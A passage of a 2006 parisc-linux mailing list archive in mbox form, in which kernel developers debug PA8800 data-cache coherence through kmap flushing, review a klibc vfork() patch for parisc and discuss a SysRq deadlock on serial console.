theory I can come up with:  Aggressive prefetching is causing us
problems in faulting.  Theoretically, it looks like the culprit should
be anonymous pages (because that's what stack and malloc areas
are---they're not file backed).  However, I tend to discount this
because the only way data gets into anonymous memory is when the user
(or the linker running on behalf of the user) puts it there.  Thus,
there should be no user coherence issues with data in anonymous memory.

> Grant expressed worry that "Pattern 1" was indicative of a dma sync
> problem with the network socket read.

I'm still dubious about this one ... even if we agree it's a D cache
issue, it's definitely a D cache issue affecting program execution (i.e.
function pointers or call indirection).  The data coming out of the
network pipe for ssh never finds its way into the execution stream,
which means it's unlikely to affect these areas.  Additionally, ssh has
message integrity checks which fail noisily (i.e. the network data is
verified against a secure hash before it's used).  So, if we had
incoherent data from the pipe, I would exect to see periodic MIC
failures, which we don't see.

I'm also coming to the conclusion that the aggressive prefetch theory
isn't entirely accurate.  It fits the I/D incoherency theory because we
get I cache prefetches on D cache TLB entries (because of the combined
I/D tlb) then we only flush the D cache because we don't expect I data
there (all our data regions currently seem to be executable as well).
However, for D cache incoherence alone, it seems implausible because we
have to have a tlb entry to move in across a page boundary, and every
tlb entry can only be inserted from a pte (and for every pte we will
flush the cache on object destruction).

One of the suspicious monsters in our code is the PAGE_FLUSH setting,
which allows tlb re-insertion after linux thinks it has been cleared in
violation of the linux tlb philosophy.  However, those mappings are
supposed to be "flush only" and, since the algorithm had a hole in it, I
thought I fixed it not to need PAGE_FLUSH entries (even though we keep
them around).  Regardless, tmpalias flushing completely eliminates any
window we have in this regard, and, as pa8800 still doesn't work, I
think I have to conclude it's not even this.

So, the final thing we're left with is a missed or elided flush
somewhere in the linux code, which is going to be extremely hard to
find.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Tue, 25 Jul 2006 16:02:35 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20060725220235.GB28294@colo.lackof.org>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
	<20060724033223.GE29603@parisc-linux.org>
	<7d01f9f00607232115n18865924s4f07f64d84e45dce@mail.gmail.com>
	<1153750204.1235.18.camel@mulgrave.il.steeleye.com>
	<20060724163228.GA22560@colo.lackof.org>
	<1153839113.3452.28.camel@mulgrave.il.steeleye.com>
	<20060725161345.GA13707@hiauly1.hia.nrc.ca>
	<1153844239.3452.29.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624149 20631 80.91.229.3 (22 Nov 2014 02:42:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:29 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Matthew Wilcox <matthew@wil.cx>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2006 22:02:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 26 Jul 2006 00:02:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E5DD87D7D8;
	Tue, 25 Jul 2006 16:02:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04389-04; Tue, 25 Jul 2006 16:02:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 50E1F7D7D4;
	Tue, 25 Jul 2006 16:02:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B016A7D7A4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 16:02:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04002-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 16:02:37 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 99E7B7D79C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 16:02:37 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E22793981BB;
	Tue, 25 Jul 2006 16:02:36 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28317-03; Tue, 25 Jul 2006 16:02:35 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 927E33981BA; Tue, 25 Jul 2006 16:02:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1153844239.3452.29.camel@mulgrave.il.steeleye.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Z+Cvd/44eWU3uq2TZm9nx9crL0tsZk0D
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23879

On Tue, Jul 25, 2006 at 11:17:19AM -0500, James Bottomley wrote:
> On Tue, 2006-07-25 at 12:13 -0400, John David Anglin wrote:
> > How about disabling L2?  This should test your theory.
> 
> Kyle's working on it based on Grant's original work ... you need access
> to a lot of secret diag registers to do this, though, so it's not easy.

You misheard. I'll be poking at this again in the near future.
I've gotten the code to modify diag registers done.
I just need to test the L2 disable and write a wrapper that
does the necessary I/D cache flushing.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [klibc] [PATCH] vfork() for parisc
Date: Tue, 25 Jul 2006 15:28:32 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <44C69B10.7050203@zytor.com>
References: <20060724031438.GB5542@athena.road.mcmartin.ca>
	<44C693EA.5080704@zytor.com>
	<20060725221524.GA5625@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624149 20634 80.91.229.3 (22 Nov 2014 02:42:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:29 +0000 (UTC)
Cc: klibc@zytor.com,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2006 22:28:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 26 Jul 2006 00:28:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0ED3A7D7D1;
	Tue, 25 Jul 2006 16:28:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04992-05; Tue, 25 Jul 2006 16:28:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 57F217D7D4;
	Tue, 25 Jul 2006 16:28:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8B8F7D7CE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 16:28:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04770-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 16:28:35 -0600 (MDT)
Original-Received: from terminus.zytor.com (terminus.zytor.com [192.83.249.54])
	by free.linux.hp.com (Postfix) with ESMTP id 870E57D645
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 16:28:35 -0600 (MDT)
Original-Received: from [10.0.6.0] (VIP-C2-Microsystems-inc-1145750.cust-rtr.swbell.net
	[75.26.142.26]) (authenticated bits=0)
	by terminus.zytor.com (8.13.7/8.13.4) with ESMTP id k6PMSWjD019124
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 25 Jul 2006 15:28:33 -0700
User-Agent: Thunderbird 1.5.0.4 (X11/20060614)
In-Reply-To: <20060725221524.GA5625@athena.road.mcmartin.ca>
X-Virus-Scanned: ClamAV version 0.88.3,
	clamav-milter version 0.88.3 on localhost
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.5 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=3.0.6
X-Spam-Checker-Version: SpamAssassin 3.0.6 (2005-12-07) on terminus.zytor.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T++jNN0XZCEXvbGPamwhyLBwIGhpZYYu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23880

Kyle McMartin wrote:
> On Tue, Jul 25, 2006 at 02:58:02PM -0700, H. Peter Anvin wrote:
>> Kyle McMartin wrote:
>>> Implement "pid_t vfork(void)" for parisc.
>>>
>> Dumb question... where does %r20 get set?  This isn't invoked by a 
>> system call stub; it's the entire function.
>>
> 
> Oh. Nowhere then. We can set it in the branch delay slot.
> 

Cool.  Could you do a "make test" and run usr/klibc/tests/vfork to verify?

(For completeness sake: klibc supports generating stubs for alternate 
system call conventions by using the following syntax in SYSCALLS.def:

returntype syscall@convention(args...);

The string "convention" gets passed to sysstub.ph; on most architectures 
it simply replaces the string "common" in "__syscall_common".

However, there isn't exactly any point to do that for single-shot system 
  call conventions, like vfork() and pipe() on many platforms.

	-hpa
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Wed, 26 Jul 2006 16:54:39 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <1153950879.3446.49.camel@mulgrave.il.steeleye.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
	<20060724033223.GE29603@parisc-linux.org>
	<7d01f9f00607232115n18865924s4f07f64d84e45dce@mail.gmail.com>
	<1153750204.1235.18.camel@mulgrave.il.steeleye.com>
	<20060724163228.GA22560@colo.lackof.org>
	<1153839113.3452.28.camel@mulgrave.il.steeleye.com>
	<20060725161345.GA13707@hiauly1.hia.nrc.ca>
	<1153844239.3452.29.camel@mulgrave.il.steeleye.com>
	<20060725220235.GB28294@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624150 20636 80.91.229.3 (22 Nov 2014 02:42:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:30 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Thibaut VARENE <T-Bone@parisc-linux.org>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2006 21:55:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 26 Jul 2006 23:55:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DCEF7D79E;
	Wed, 26 Jul 2006 15:55:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16226-01; Wed, 26 Jul 2006 15:55:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0C487D774;
	Wed, 26 Jul 2006 15:55:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF3FC7D76C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Jul 2006 15:55:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15508-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Jul 2006 15:55:07 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id ADF0A7D768
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Jul 2006 15:55:07 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k6QLseY16851; Wed, 26 Jul 2006 17:54:40 -0400
In-Reply-To: <20060725220235.GB28294@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pYmlEGxWbXBtrLqHPTQ20dIqLyUmZYjt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23881

On Tue, 2006-07-25 at 16:02 -0600, Grant Grundler wrote:
> You misheard. I'll be poking at this again in the near future.
> I've gotten the code to modify diag registers done.
> I just need to test the L2 disable and write a wrapper that
> does the necessary I/D cache flushing.

Actually, I found a different way to prove the theory.

In linux, we're careful about sequential accesses to memory (i.e. only
the user or the kernel may touch a page) to avoid the dirty line
aliasing which bites on all architectures.  However, the kernel takes
this care in almost every place, principally because we don't
necessarily know if the user line is dirty or not.  Thus it's possible
to use this guarantee to make the kernel fully equivalently mapped.

The primary engine of this guarantee is the kmap/kunmap (also _atomic).
When we come into a kmap region, we're guaranteed that the user mappings
have been flushed, so really all we have to do is flush the kernel
mappings when we leave.

This flush kernel mapping is a simple two line addition to highmem.h and
with it (as demonstration code), the pa8800 works reliably.

This fix is a gross O(1) one.  There will still be O(2) regions where
this guarantee needs to be fixed up independent of kmap/kunmap.
However, the O(1) fix gets pa8800 to the point where sshd works and we
get only the occasional segfault (I've only found one so far in an hour
of stress testing).

The other thing that will be contributing to O(2) effects is cache
movein.  Even though we flush the page, the CPU is entitled to move it
back into cache if it finds a TLB entry, so we have to begin purging the
TLB entries as we do this as well.

The final problem (once we have the O(2) effects all sorted) will be to
get this upstream.  The kmap API is supposed not to care about coherence
effects, now I'm making it, so I can sell this to the arch maintainers
as eliminating a lot of the kmap/flush_kernel_dcache_page/kunmap that we
do today ... I hope.

James



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Max Grabert" <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [BUG] SysRQ H kills the machine
Date: Thu, 27 Jul 2006 14:09:47 +0100
Lines: 111
Approved: news@gmane.org
Message-ID: <e6eae0290607270609l21c9efc3qbf3418c01729c920@mail.gmail.com>
References: <J32BVJ$511EFF3589D7A38F32F3AACAAF57BFF4@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============2103738440=="
X-Trace: ger.gmane.org 1416624150 20641 80.91.229.3 (22 Nov 2014 02:42:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:30 +0000 (UTC)
Cc: "James.Bottomley" <James.Bottomley@steeleye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 T-Bone <T-Bone@parisc-linux.org>
To: "Joel Soete" <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jul 2006 13:10:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 27 Jul 2006 15:10:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 830267D7E4;
	Thu, 27 Jul 2006 07:09:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26983-07; Thu, 27 Jul 2006 07:09:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCB5F7D7EA;
	Thu, 27 Jul 2006 07:09:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A20267D7E0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Jul 2006 07:09:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26935-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Jul 2006 07:09:51 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.170])
	by free.linux.hp.com (Postfix) with ESMTP id 18F6A7D7DD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Jul 2006 07:09:50 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so251015ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Jul 2006 06:09:47 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=VcXvAaNaZf6dP5GeKh6QzCmUsG1WyMudMOllJQuHhwkFDcK3CQYeq4/hzHzldH6lv+t9gjNXx+0hR+oEVHejdNQbi1YG3zvPJlQdX6kbc2VrChsio8e1I/8cRcLYDbJC5RPprGIKCakjnZJ+B+AkKofshJdBJvI6l6qRFTch9eQ=
Original-Received: by 10.78.139.5 with SMTP id m5mr911900hud;
	Thu, 27 Jul 2006 06:09:47 -0700 (PDT)
Original-Received: by 10.78.135.10 with HTTP; Thu, 27 Jul 2006 06:09:47 -0700 (PDT)
In-Reply-To: <J32BVJ$511EFF3589D7A38F32F3AACAAF57BFF4@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Zs6pIDwYa0Aovr6aejEzYjk3Njh6dM5B
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23882

--===============2103738440==
Content-Type: multipart/alternative; 
	boundary="----=_Part_26642_7238327.1154005787697"

------=_Part_26642_7238327.1154005787697
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi Joel,

The 'Magic System Request' key combo can be used
to print out some kernel debug info to the console,
or to do an emergency umount of all filesystems.

See /usr/src/linux/Documentation/sysrq.txt

Most people won't have activated this feature in the kernel,
except for kernel developers or other freaks ;)


On 27/07/06, Joel Soete <soete.joel@scarlet.be> wrote:
>
> > On Mon, 2006-07-24 at 00:01 -0400, Thibaut VARENE wrote:
> > > Hi pa-ckers
> > >
> > > quick brain dump before going to bed:
> > > 2.6.18-rc1-pa3
> > > boot init=/bin/sh -- machine is alive
> > > issue a sysrq h (help) -- machine is dead
> > >
> mmm is there a dpkg containing this 'sysrq' cmd?


There is none. It is a  key combo. Over the serial line it is usually
initiated by a <BRK> signal + a character (see the sysrq.txt mentioned
above).

> > happened to me on parisc and probably ia64 (have to double check the
> latter).
> >
> > This is a known and incredibly annoying bug:  serial console is broken
> > for sysrq.  Alan Cox is currently trying to fix it, I believe.
> >
> Is it this related:
> --- snip ---
> Author: Andrew Morton <akpm@osdl.org>
> Date:   Fri Jun 30 02:29:59 2006 -0700
>
>     [SERIAL] 8250: sysrq deadlock fix
>
>     Fix http://bugzilla.kernel.org/show_bug.cgi?id=6716
>
>     Doing a sysrq over a serial line into an SMP machine presently
> deadlocks.


Seems so.

    Signed-off-by: Andrew Morton <akpm@osdl.org>
>     Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
> --- snip ---
>
> (ChangeLog-2.6.18-rc2)
>
> if yes I tested on my n4k but unfortunately doesn't help for the smp pb:
> after only 1 day and 22h of my stress test it still hanging in dump_stack
> (I was hoping it could be the place where things went wrong too ;-( )


I doubt it, I don't know too much about kernel internals, but looking at the
patch you can see it just adds a extra 'if' for the sysrq case, so it
shouldn't affect anything else ...


    Max

------=_Part_26642_7238327.1154005787697
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi Joel,<br><br>The 'Magic System Request' key combo can be used<br>to print out some kernel debug info to the console,<br>or to do an emergency umount of all filesystems.<br><br>See /usr/src/linux/Documentation/sysrq.txt<br>
<br>Most people won't have activated this feature in the kernel,<br>except for kernel developers or other freaks ;)<br><br><br><div><span class="gmail_quote">On 27/07/06, <b class="gmail_sendername">Joel Soete</b> &lt;<a href="mailto:soete.joel@scarlet.be">
soete.joel@scarlet.be</a>&gt; wrote:</span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">&gt; On Mon, 2006-07-24 at 00:01 -0400, Thibaut VARENE wrote:
